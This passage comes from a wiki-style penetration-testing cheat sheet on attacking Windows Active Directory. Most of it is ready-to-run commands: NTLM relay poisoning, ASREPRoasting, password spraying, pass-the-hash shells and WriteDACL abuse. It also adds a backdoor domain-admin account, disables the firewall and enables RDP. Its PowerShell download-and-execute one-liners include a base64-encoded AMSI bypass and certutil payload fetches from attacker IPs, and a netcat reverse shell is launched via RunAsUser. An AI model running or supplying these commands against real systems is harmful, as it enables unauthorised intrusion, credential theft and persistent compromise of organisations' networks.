&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Capturing LDAP Credentials. We will have to trigger the authenticaiton to go to our rogue LDAP server.&lt;br /&gt;
sudo tcpdump -SX -i eth0 tcp port 389&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Authentication Relays ==&lt;br /&gt;
&lt;br /&gt;
Responder allows us to perform Man-in-the-Middle attacks by poisoning the responses during NetNTLM authentication, tricking the client into talking to you instead of the actual server they wanted to connect to. On a real LAN, Responder will attempt to poison any  Link-Local Multicast Name Resolution (LLMNR),  NetBIOS Name Servier (NBT-NS), and Web Proxy Auto-Discovery (WPAD) requests that are detected.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/lgandx/Responder&lt;br /&gt;
# Start responder&lt;br /&gt;
sudo responder -I tun0&lt;br /&gt;
# Downgrade NTLM authentication when possible. Allow capture NTLMv1 challenge and response.&lt;br /&gt;
#Remember that in order to crack NTLMv1 you need to set Responder challenge to &amp;quot;1122334455667788&amp;quot;&lt;br /&gt;
responder -I  --lm --disable-ess #Downgrade NTLM authntication if possible and force ESS downgrade&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Microsoft Deployment Toolkit ==&lt;br /&gt;
&lt;br /&gt;
Microsoft Deployment Toolkit (MDT) is a Microsoft service that assists with automating the deployment of Microsoft Operating Systems (OS).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Import-Module .\PowerPXE.ps1&lt;br /&gt;
$BCDFile = &amp;quot;conf.bcd&amp;quot;&lt;br /&gt;
Get-WimFile -bcdFile $BCDFile&lt;br /&gt;
Get-FindCredentials -WimFile pxeboot.wim&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
= User enumeration =&lt;br /&gt;
&lt;br /&gt;
When an &#039;&#039;&#039;invalid username is requested&#039;&#039;&#039; the server will respond using the &#039;&#039;&#039;Kerberos error&#039;&#039;&#039; code &#039;&#039;KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt&lt;br /&gt;
nmap -p 88 --script=krb5-enum-users --script-args=&amp;quot;krb5-enum-users.realm=&#039;DOMAIN&#039;&amp;quot;&lt;br /&gt;
Nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm=&#039;&#039;,userdb=/root/Desktop/usernames.txt&lt;br /&gt;
msf&amp;gt; use auxiliary/gather/kerberos_enumusers&lt;br /&gt;
crackmapexec smb dominio.es  -u &#039;&#039; -p &#039;&#039; --users | awk &#039;{print $4}&#039; | uniq&lt;br /&gt;
nxc smb dc01.manager.htb -u anonymous -p &amp;quot;&amp;quot; --rid-brute 10000&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Knowing a userame(s) ==&lt;br /&gt;
&lt;br /&gt;
=== ASREPRoast ===&lt;br /&gt;
&lt;br /&gt;
The ASREPRoast attack looks for &#039;&#039;&#039;users without Kerberos pre-authentication required attribute (&#039;&#039;&#039;[https://support.microsoft.com/en-us/help/305144/how-to-use-the-useraccountcontrol-flags-to-manipulate-user-account-pro DONT_REQ_PREAUTH]&#039;&#039;&#039;&#039;&#039;)&#039;&#039;&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/asreproast https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/asreproast]&lt;br /&gt;
&lt;br /&gt;
That means that anyone can send an AS_REQ request to the DC on behalf of any of those users, and receive an AS_REP message. This last kind of message contains a chunk of data encrypted with the original user key, derived from its password. Then, by using this message, the user password could be cracked offline.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# ENUMERATE VULNERABLE USERS (NEED DOMAIN CREDS)&lt;br /&gt;
Get-DomainUser -PreauthNotRequired -verbose #List vuln users using PowerView&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
# REQUEST AS_REP MESSAGE&lt;br /&gt;
# Linux&lt;br /&gt;
# Try all the usernames in usernames.txt&lt;br /&gt;
python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast&lt;br /&gt;
# Use domain creds to extract targets and target them&lt;br /&gt;
python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast&lt;br /&gt;
# Windows&lt;br /&gt;
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast&lt;br /&gt;
Get-ASREPHash -Username VPN114user -verbose #From ASREPRoast.ps1 (https://github.com/HarmJ0y/ASREPRoast)&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
# Cracking the hashes&lt;br /&gt;
john --wordlist=passwords_kerb.txt hashes.asreproast&lt;br /&gt;
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
# PERSISTENCE&lt;br /&gt;
# Force preauth not required for a user where you have GenericAll permissions (or permissions to write properties):&lt;br /&gt;
Set-DomainObject -Identity  -XOR @{useraccountcontrol=4194304} -Verbose&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Password spraying ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/password-spraying https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/password-spraying]&lt;br /&gt;
&lt;br /&gt;
Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames https://github.com/insidetrust/statistically-likely-usernames]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# PASSWORD POLICY&lt;br /&gt;
# Need valid creds&lt;br /&gt;
crackmapexec  -u &#039;user&#039; -p &#039;password&#039; --pass-pol&lt;br /&gt;
enum4linx -u &#039;username&#039; -p &#039;password&#039; -P&lt;br /&gt;
(Get-DomainPolicy).&amp;quot;SystemAccess&amp;quot; #From powerview&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
# LOCKOUT CHECK&lt;br /&gt;
# https://github.com/Greenwolf/Spray&lt;br /&gt;
# To prevent lockout it&#039;s best not to try with more than 5/7 passwords per account.&lt;br /&gt;
spray.sh -smb&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
# PASSWORD SPRAYING&lt;br /&gt;
crackmapexec smb  -u users.txt -p passwords.txt&lt;br /&gt;
## Successor to crackmapexec&lt;br /&gt;
nxc smb  -u users.txt -p passwords.txt [-H hashes.txt]&lt;br /&gt;
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123&lt;br /&gt;
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman&lt;br /&gt;
# with a list of users&lt;br /&gt;
.\Rubeus.exe brute /users: /passwords: /domain: /outfile:&lt;br /&gt;
# check passwords for all users in current domain&lt;br /&gt;
.\Rubeus.exe brute /passwords: /outfile:&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
# Crack hash&lt;br /&gt;
john --wordlist=passwords_kerb.txt hashes.asreproast&lt;br /&gt;
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
# Powershell passwordspraying script&lt;br /&gt;
https://github.com/dafthack/MSOLSpray&lt;br /&gt;
Import-Module MSOLSpray.ps1&lt;br /&gt;
Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
= Enumerating Active Directory with valid credentials/session =&lt;br /&gt;
&lt;br /&gt;
== Shell with credentials ==&lt;br /&gt;
&lt;br /&gt;
If you have valid credentials you could try to get a shell.&lt;br /&gt;
&lt;br /&gt;
To get shell with Administrator user and not with NT Authority\system, use WinExec or Evil-Winrm&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CrackMapExec&lt;br /&gt;
# Validate if credentials found is valide, and which protocol you can use to get a shell. {ssh,smb,mssql,winrm,ldap} Notice Pwn3d! with creds enox:california&lt;br /&gt;
crackmapexec winrm 192.168.204.165 -u enox -p california&lt;br /&gt;
WINRM       192.168.204.165 5985   NONE             [+] None\enox:california (Pwn3d!)&lt;br /&gt;
# Can also be used to brute force&lt;br /&gt;
crackmapexec   -u ~/file_containing_usernames -p ~/file_containing_passwords&lt;br /&gt;
crackmapexec   -u ~/file_containing_usernames -H ~/file_containing_ntlm_hashes&lt;br /&gt;
&lt;br /&gt;
# SSH - Port 22&lt;br /&gt;
# If SSH is open try to SSH to target&lt;br /&gt;
ssh user@target [-i id_rsa]&lt;br /&gt;
&lt;br /&gt;
# WinRM - Port 5895, 5896&lt;br /&gt;
# If port 5985,5986 is open, try Evil-Winrm&lt;br /&gt;
gem install evil-winrm&lt;br /&gt;
evil-winrm -u Administrator -p &#039;EverybodyWantsToWorkAtP.O.O.&#039;  -i /&lt;br /&gt;
evil-winrm -u Administrator -H &#039;Use_hash_here&#039;  -i /&lt;br /&gt;
winrs.exe -u:Administrator -p:Mypass123 -r:target cmd&lt;br /&gt;
&lt;br /&gt;
# PTH-winexe&lt;br /&gt;
Basic syntax w/ credentials.&lt;br /&gt;
winexe -U % // cmd.exe&lt;br /&gt;
Basic syntax w/ NTLM hash (pass the hash technique).&lt;br /&gt;
pth-winexe -U % // cmd.exe&lt;br /&gt;
&lt;br /&gt;
# RDP - Port 3389&lt;br /&gt;
xrdp target&lt;br /&gt;
remmina&lt;br /&gt;
rdesktop target&lt;br /&gt;
&lt;br /&gt;
# PSExec &amp;amp; SMBExec - Port 445&lt;br /&gt;
# Both options will create a new service (using \pipe\svcctl via SMB) in the victim machine and use it to execute something (psexec will upload an executable file to ADMIN$ share and smbexec will point to cmd.exe/powershell.exe and put in the arguments the payload --file-less technique--).&lt;br /&gt;
# If no password is provided, it will be prompted&lt;br /&gt;
./psexec.py [[domain/]username[:password]@]&lt;br /&gt;
./psexec.py -hashes  administrator@10.10.10.103 #Pass-the-Hash&lt;br /&gt;
psexec \\192.168.122.66 -u Administrator -p 123456Ww&lt;br /&gt;
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash&lt;br /&gt;
# From sysinternals&lt;br /&gt;
PsExec.exe -i -u domain\user cmd.exe&lt;br /&gt;
# PSExec with Powershel&lt;br /&gt;
$username = &#039;Administrator&#039;;&lt;br /&gt;
$password = &#039;Mypass123&#039;;&lt;br /&gt;
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;&lt;br /&gt;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;&lt;br /&gt;
Enter-PSSession -Computername TARGET -Credential $credential&lt;br /&gt;
# If there is a config file, use -ConfigruationName&lt;br /&gt;
Enter-PSSession -ComputerName TARGET -ConfigurationName CONFIG_NAME&lt;br /&gt;
# Powershell also includes the Invoke-Command cmdlet, which runs ScriptBlocks remotely via WinRM. Credentials must be passed through a PSCredential object as well:&lt;br /&gt;
Invoke-Command -Computername TARGET -Credential $credential -ScriptBlock {whoami}&lt;br /&gt;
&lt;br /&gt;
# Remotely creat services using sc - port 135,445,139&lt;br /&gt;
sc.exe \\TARGET create AGservice binPath= &amp;quot;net user test test123 /add&amp;quot; start= auto&lt;br /&gt;
sc.exe \\TARGET start AGservice&lt;br /&gt;
# Stop or delete service&lt;br /&gt;
sc.exe \\TARGET stop AGservice&lt;br /&gt;
sc.exe \\TARGET delete AGservice&lt;br /&gt;
&lt;br /&gt;
# Creating scheduled tasks remotely&lt;br /&gt;
schtasks /s TARGET /RU &amp;quot;SYSTEM&amp;quot; /create /tn &amp;quot;AGtask1&amp;quot; /tr &amp;quot;&amp;quot; /sc ONCE /sd 01/01/1970 /st 00:00&lt;br /&gt;
schtasks /s TARGET /run /TN &amp;quot;AGtask1&amp;quot;&lt;br /&gt;
# /sc - Task will only run once. Starting date and time dosent matter because of this.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Shell - Changing user if you have a shell ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you have a shell as a user, most likely runas command wont work because we cant type our password when prompted with typing our password. There are some tools you can try.&lt;br /&gt;
# Invoke-RunasCs.exe&lt;br /&gt;
# https://github.com/antonioCoco/RunasCs&lt;br /&gt;
.\RunasCs_net4.exe svc_mssql trustno1 cmd.exe -r 192.168.49.199:443&lt;br /&gt;
&lt;br /&gt;
# RunAsUser.exe&lt;br /&gt;
# https://github.com/atthacks/RunAsUser&lt;br /&gt;
RunAsUser.exe -u superadmin -p funnyhtb -f c:\users\public\nc.exe -a &#039;10.10.14.12 9001 -e cmd.exe&#039;&lt;br /&gt;
&lt;br /&gt;
# Try writing a ps1 script to use runas command&lt;br /&gt;
# cat runme.ps1&lt;br /&gt;
$secpasswd = ConvertTo-SecureString &amp;quot;trustno1&amp;quot; -AsPlainText -Force&lt;br /&gt;
$mycreds = New-Object System.Management.Automation.PSCredential (&amp;quot;svc_msssql&amp;quot;, $secpasswd)&lt;br /&gt;
$computer = &amp;quot;access.offsec&amp;quot;&lt;br /&gt;
[System.Diagnostics.Process]::Start(&amp;quot;C:\xampp\htdocs\uploads\shell.exe&amp;quot;,&amp;quot;&amp;quot;, $mycreds.Username, $mycreds.Password, $computer)&lt;br /&gt;
# or&lt;br /&gt;
$creds = New-Object System.Management.Automation.PSCredential (&amp;quot;example.com\tan&amp;quot;, (ConvertTo-SecureString &amp;quot;Password&amp;quot; -AsPlainText -Force))&lt;br /&gt;
Get-DomainUser -Credential $creds&lt;br /&gt;
# Abusing WriteDACL&lt;br /&gt;
# What is WriteDACL?&lt;br /&gt;
## It&#039;s an access right that grants permission to modify the Discretionary Access Control List (DACL) of Active Directory objects.&lt;br /&gt;
# See also this for more attack path&lt;br /&gt;
https://www.thehacker.recipes/ad/movement/dacl/grant-rights&lt;br /&gt;
# To identify user accounts that are potentially misconfigured, you can use Get-DomainUser and Get-ObjectAcl:&lt;br /&gt;
PS C:\tools&amp;gt; Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq &amp;quot;$env:UserDomain\$env:Username&amp;quot;) {$_}}&lt;br /&gt;
# With WriteDACL rights, an attacker can modify access rights of an AD object. The example provided demonstrates adding the GenericAll right:&lt;br /&gt;
PS C:\tools&amp;gt; Add-DomainObjectAcl -TargetIdentity testservice2 -PrincipalIdentity offsec -Rights All&lt;br /&gt;
# To verify that the GenericAll right is set on testservice2 we can enumerate. And after that change the password as we did above:&lt;br /&gt;
PS C:\tools&amp;gt; Get-ObjectAcl -Identity testservice2 -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq &amp;quot;$env:UserDomain\$env:Username&amp;quot;) {$_}}&lt;br /&gt;
&lt;br /&gt;
# Anoter Example of Abusing WriteDACL&lt;br /&gt;
# User have WriteDACL rights on mailadmins. We can modify our rights to get GenericAll on the group&lt;br /&gt;
$SecPassword = ConvertTo-SecureString &#039;test&#039; -AsPlainText -Force&lt;br /&gt;
$Cred = New-Object System.Management.Automation.PSCredential(&#039;user1&#039;, $SecPassword)&lt;br /&gt;
Add-DomainObjectAcl -Credential $Cred -TargetIdentity &amp;quot;Mailadmins&amp;quot; -PrincipalIdentity user1-Rights All&lt;br /&gt;
# Now we can add ourselvs to the group by using PowerViews&lt;br /&gt;
Add-DomainGroupMember -Identity &amp;quot;mailadmins&amp;quot; -Members sqlsvc -Credential $Cred&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Basic commands ==&lt;br /&gt;
&lt;br /&gt;
=== CMD ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/basic-cmd-for-pentesters#domain-info&lt;br /&gt;
# DOMAIN INFO&lt;br /&gt;
echo %USERDOMAIN% #Get domain name&lt;br /&gt;
echo %USERDNSDOMAIN% #Get domain name&lt;br /&gt;
echo %logonserver% #Get name of the domain controller&lt;br /&gt;
set logonserver #Get name of the domain controller&lt;br /&gt;
set log #Get name of the domain controller&lt;br /&gt;
net groups /domain #List of domain groups&lt;br /&gt;
net group &amp;quot;domain computers&amp;quot; /domain #List of PCs connected to the domain&lt;br /&gt;
net view /domain #Lis of PCs of the domain&lt;br /&gt;
nltest /dclist: #List domain controllers&lt;br /&gt;
net group &amp;quot;Domain Controllers&amp;quot; /domain #List PC accounts of domains controllers&lt;br /&gt;
net group &amp;quot;Domain Admins&amp;quot; /domain #List users with domain admin privileges&lt;br /&gt;
net localgroup administrators /domain #List uses that belongs to the administrators group inside the domain (the grup &amp;quot;Domain Admins&amp;quot; is included here)&lt;br /&gt;
net user /domain #List all users of the domain&lt;br /&gt;
net user  /domain #Get information about that user&lt;br /&gt;
net accounts /domain #Password and lockout policy&lt;br /&gt;
nltest /domain_trust #Mapping of the trust relationships.&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
# USERS&lt;br /&gt;
whoami /all #All info about me, take a look at the enabled tokens&lt;br /&gt;
whoami /priv #Show only privileges&lt;br /&gt;
net users #All users&lt;br /&gt;
dir /b /ad &amp;quot;C:\Users&amp;quot;&lt;br /&gt;
net user %username% #Info about a user (me)&lt;br /&gt;
net accounts #Information about password requirements&lt;br /&gt;
qwinsta #Anyone else logged in?&lt;br /&gt;
net user /add [username] [password] #Create user&lt;br /&gt;
#Lauch new cmd.exe with new creds (to impersonate in network)&lt;br /&gt;
runas /netonly /user\ &amp;quot;cmd.exe&amp;quot; ::The password will be prompted&lt;br /&gt;
#Check current logon session as administrator using logonsessions from sysinternals&lt;br /&gt;
logonsessions.exe&lt;br /&gt;
logonsessions64.exe&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
# GROUPS&lt;br /&gt;
#Local&lt;br /&gt;
net localgroup #All available groups&lt;br /&gt;
net localgroup Administrators #Info about a group (admins)&lt;br /&gt;
net localgroup administrators [username] /add #Add user to administrators&lt;br /&gt;
#Domain&lt;br /&gt;
net group /domain #Info about domain groups&lt;br /&gt;
net group /domain  #Users that belongs to the group&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
# PERSISTENCE WITH USERS&lt;br /&gt;
# Add domain user and put them in Domain Admins group&lt;br /&gt;
net user username password /ADD /DOMAIN&lt;br /&gt;
net group &amp;quot;Domain Admins&amp;quot; username /ADD /DOMAIN&lt;br /&gt;
# Add local user and put them local Administrators group&lt;br /&gt;
net user username password /ADD&lt;br /&gt;
net localgroup Administrators username /ADD&lt;br /&gt;
# Add user to insteresting groups:&lt;br /&gt;
net localgroup &amp;quot;Remote Desktop Users&amp;quot; UserLoginName  /add&lt;br /&gt;
net localgroup &amp;quot;Debugger users&amp;quot; UserLoginName /add&lt;br /&gt;
net localgroup &amp;quot;Power users&amp;quot; UserLoginName /add&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
# FIREWALL&lt;br /&gt;
netsh firewall show state # FW info, open ports&lt;br /&gt;
netsh advfirewall firewall show rule name=all&lt;br /&gt;
netsh firewall show config # FW info&lt;br /&gt;
Netsh Advfirewall show allprofiles&lt;br /&gt;
NetSh Advfirewall set allprofiles state off  #Turn Off&lt;br /&gt;
NetSh Advfirewall set allprofiles state on  #Trun On&lt;br /&gt;
netsh firewall set opmode disable #Turn Off&lt;br /&gt;
::How to open ports&lt;br /&gt;
netsh advfirewall firewall add rule name=&amp;quot;NetBIOS UDP Port 138&amp;quot; dir=out action=allow protocol=UDP localport=138&lt;br /&gt;
netsh advfirewall firewall add rule name=&amp;quot;NetBIOS TCP Port 139&amp;quot; dir=in action=allow protocol=TCP localport=139&lt;br /&gt;
netsh firewall add portopening TCP 3389 &amp;quot;Remote Desktop&amp;quot;&lt;br /&gt;
::Enable Remote Desktop&lt;br /&gt;
reg add &amp;quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&lt;br /&gt;
netsh firewall add portopening TCP 3389 &amp;quot;Remote Desktop&amp;quot;&lt;br /&gt;
::netsh firewall set service remotedesktop enable #I found that this line is not needed&lt;br /&gt;
::sc config TermService start= auto #I found that this line is not needed&lt;br /&gt;
::net start Termservice #I found that this line is not needed&lt;br /&gt;
::Enable Remote assistance:&lt;br /&gt;
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f&lt;br /&gt;
netsh firewall set service remoteadmin enable&lt;br /&gt;
::Ninja combo (New Admin User, RDP + Rassistance + Firewall allow)&lt;br /&gt;
net user hacker Hacker123! /add &amp;amp; net localgroup administrators hacker /add &amp;amp; net localgroup &amp;quot;Remote Desktop Users&amp;quot; hacker /add &amp;amp; reg add &amp;quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f &amp;amp; reg add &amp;quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&amp;quot; /v fAllowToGetHelp /t REG_DWORD /d 1 /f &amp;amp; netsh firewall add portopening TCP 3389 &amp;quot;Remote Desktop&amp;quot; &amp;amp; netsh firewall set service remoteadmin enable&lt;br /&gt;
::Connect to RDP (using hash or password)&lt;br /&gt;
xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49&lt;br /&gt;
xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PowerShell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/basic-powershell-for-pentesters&lt;br /&gt;
# Default PowerShell locations&lt;br /&gt;
C:\windows\syswow64\windowspowershell\v1.0\powershell&lt;br /&gt;
C:\Windows\System32\WindowsPowerShell\v1.0\powershell&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
# Basic PS commands to start&lt;br /&gt;
Get-Help * #List everything loaded&lt;br /&gt;
Get-Help process #List everything containing &amp;quot;process&amp;quot;&lt;br /&gt;
Get-Help Get-Item -Full #Get full helpabout a topic&lt;br /&gt;
Get-Help Get-Item -Examples #List examples&lt;br /&gt;
Import-Module&lt;br /&gt;
Get-Command -Module&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
# Download and Execute&lt;br /&gt;
powershell &amp;quot;IEX(New-Object Net.WebClient).downloadString(&#039;http://10.10.14.9:8000/ipw.ps1&#039;)&amp;quot;&lt;br /&gt;
echo IEX(New-Object Net.WebClient).DownloadString(&#039;http://10.10.14.13:8000/PowerUp.ps1&#039;) | powershell -noprofile - #From cmd download and execute&lt;br /&gt;
powershell -exec bypass -c &amp;quot;(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr(&#039;http://10.2.0.5/shell.ps1&#039;)|iex&amp;quot;&lt;br /&gt;
iex (iwr &#039;10.10.14.9:8000/ipw.ps1&#039;) #From PSv3&lt;br /&gt;
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open(&#039;GET&#039;,&#039;http://10.10.14.9:8000/ipw.ps1&#039;,$false);$h.send();iex $h.responseText&lt;br /&gt;
$wr = [System.NET.WebRequest]::Create(&amp;quot;http://10.10.14.9:8000/ipw.ps1&amp;quot;) $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
# Download and Exectute in background with AMSI Bypass&lt;br /&gt;
Start-Process -NoNewWindow powershell &amp;quot;-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=&amp;quot;&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
# Using Base64 from Linux&lt;br /&gt;
echo -n &amp;quot;IEX(New-Object Net.WebClient).downloadString(&#039;http://10.10.14.31/shell.ps1&#039;)&amp;quot; | iconv -t UTF-16LE | base64 -w 0&lt;br /&gt;
powershell -nop -enc&lt;br /&gt;
# Enumerate GenericAll using PowerView&lt;br /&gt;
##  To identify all domain users that the current account has GenericAll rights to (Remember to run from domain user and not local user:&lt;br /&gt;
PS C:\tools&amp;gt; Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq &amp;quot;$env:UserDomain\$env:Username&amp;quot;) {$_}}&lt;br /&gt;
## If you have GenericAll on user account, change the password&lt;br /&gt;
net user user1 pass123 /domain&lt;br /&gt;
# To enumerate domain groups that the current user has explicit access rights to:&lt;br /&gt;
PS C:\tools&amp;gt; Get-DomainGroup | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq &amp;quot;$env:UserDomain\$env:Username&amp;quot;) {$_}}&lt;br /&gt;
## With GenericAll rights on a group, a user can add themselves or other users to that group:&lt;br /&gt;
net group testgroup User2 /add /domain&lt;br /&gt;
# Enumerate PowerShell Console history&lt;br /&gt;
(Get-PSReadlineOption).HistorySavePath&lt;br /&gt;
C:\Users\USER\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Download file from attacker to target ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/basic-cmd-for-pentesters#domain-info https://book.hacktricks.xyz/windows-hardening/basic-cmd-for-pentesters#domain-info]&lt;br /&gt;
&lt;br /&gt;
See my cheatsheet also.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CMD&lt;br /&gt;
# Bitsadmin.exe&lt;br /&gt;
bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1&lt;br /&gt;
# CertReq.exe&lt;br /&gt;
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt&lt;br /&gt;
# Certutil.exe&lt;br /&gt;
certutil.exe -urlcache -split -f &amp;quot;http://10.10.14.13:8000/shell.exe&amp;quot; s.exe&lt;br /&gt;
